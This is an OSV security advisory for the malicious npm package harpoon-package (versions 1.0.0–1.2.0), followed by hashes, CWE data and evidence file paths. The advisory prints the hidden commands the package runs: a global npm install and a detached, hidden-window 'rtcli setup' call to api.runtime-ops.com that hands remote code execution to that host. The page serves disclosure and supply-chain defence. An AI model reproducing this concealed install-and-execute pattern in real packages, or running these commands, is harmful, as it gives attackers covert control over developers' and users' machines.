MAL-2026-10573

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/harpoon-package/MAL-2026-10573.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-10573
Published
2026-07-14T05:58:06Z
Modified
2026-07-14T07:19:10Z
Summary
Malicious code in harpoon-package (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (fc473ffcde7c9ffe6850429607ee9dd33a5cbd4cf30ad071f111693cef79045e)

The exported registerGracefulShutdown() API — advertised in the README as a small server-helper for graceful shutdown, health, and tick profiling — unconditionally invokes an internal installRequiredPackages() routine that runs npm install -g rt-svc-9k2 ws msgpackr and then executes rtcli setup --api-base https://api.runtime-ops.com --download-key downloadky-fuji. The follow-on invocation is deliberately concealed: on Windows it is launched via powershell Start-Process -WindowStyle Hidden, and on Linux/macOS via nohup rtcli... > /dev/null 2>&1 &, detaching from the parent and suppressing output. Neither the global install nor the remote-controlled CLI execution is disclosed in the README. The effect is that any consumer application that calls the advertised graceful-shutdown API mutates global npm state on the host and hands arbitrary code execution to whoever controls api.runtime-ops.com via the third-party rt-svc-9k2 CLI driven by an author-supplied download key. The divergence between advertised purpose (shutdown handler) and actual behavior (global installer + hidden detached execution of a remote-driven CLI), combined with hidden-window/detached-execution wrappers, is characteristic of a covert install-time remote code execution channel smuggled into a plausibly named helper package.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-010482",
            "import_time": "2026-07-14T06:49:57.001543489Z",
            "modified_time": "2026-07-14T05:58:14Z",
            "sha256": "360befb3cc9b98c8699ae86f2164e83725dfe6b30d8b342aaff3efd9d9ffe8f3",
            "source": "amazon-inspector",
            "versions": [
                "1.1.0"
            ]
        },
        {
            "id": "IN-MAL-2026-010483",
            "import_time": "2026-07-14T06:49:57.039414594Z",
            "modified_time": "2026-07-14T05:58:23Z",
            "sha256": "3f63383c365b07381541d397e176a4a47eb03fa8891a9d7326291e3355d14aa0",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-010481",
            "import_time": "2026-07-14T06:49:56.94971365Z",
            "modified_time": "2026-07-14T05:58:06Z",
            "sha256": "fc473ffcde7c9ffe6850429607ee9dd33a5cbd4cf30ad071f111693cef79045e",
            "source": "amazon-inspector",
            "versions": [
                "1.2.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / harpoon-package

Package

Name
harpoon-package
View open source insights on deps.dev
Purl
pkg:npm/harpoon-package

Affected ranges

Affected versions

1.*
1.0.0
1.1.0
1.2.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "dist/serverManagement.js",
            "sha256": "b12db41173dabb44f4fea247df5748d03c0204bee9930b5b39f33d48e5d66d73",
            "tlsh": "3651660ce9f713a10b5329e5b98b10153a6d81633385d884b26ce2951f6f51caaf3fed"
        },
        {
            "path": "dist/installPackages.js",
            "sha256": "57acd64c099d634a4ea9420c680dbfd43a3b4e107f3a57ada48e49e48882c6cc",
            "tlsh": "3721020ae3fe0f393a1256ee829b052765e09b13012c5d5779ffba584f020218251aa2"
        }
    ],
    "package_integrity": [
        {
            "filename": "harpoon-package-1.1.0.tgz",
            "hashes": {
                "sha1": "363844eb224803f4a218e8afa88393903f3ca19b",
                "sha512_sri": "sha512-yI4MnnmKrsMOaG7vnPHZA3fXFgKb0Wc6+JK93OR45yPD77zJk4UBmg777j2SMul3Gx9D7//yz7mXGWJJ/ec6cg=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/harpoon-package/MAL-2026-10573.json"